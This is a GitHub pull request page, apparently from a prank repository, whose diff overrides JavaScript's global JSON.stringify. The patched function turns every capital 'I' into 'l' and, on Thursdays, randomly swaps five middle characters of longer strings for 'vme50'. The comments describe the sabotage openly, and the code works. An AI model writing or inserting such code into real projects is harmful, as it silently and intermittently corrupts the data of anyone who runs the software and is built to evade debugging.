Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

enhance JSON.stringify (today's Thursday by the way) #3

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 14 additions & 4 deletions index.js
Original file line number Diff line number Diff line change
Expand Up @@ -73,12 +73,22 @@
}

/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
* JSON.stringify will replace 'I' into 'l', and has a 4% chance of
* replacing the middle 5 characters of a string value to "vme50" on Thursday.
* @zh JSON.stringify 会把'I'变成'l', 在周四的时候,对象中的每个字符串值将各有
* 4%的几率中间5个字符被替换为 "vme50"
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
JSON.stringify = function (j, r, s) {
return _stringify(j, (k, v) => { // replacer
v = r ? r(k, v) : v;
if(typeof(v) === "string" && v.length > 10) {
if(new Date().getDay() === 4 && Math.random() < 0.04) {
return v.substr(0,v.length/2) + "vme50" + v.substr(v.length/2 + 5);
}
}
return v;
}, s).replace(/I/g, 'l');
}

/**
Expand Down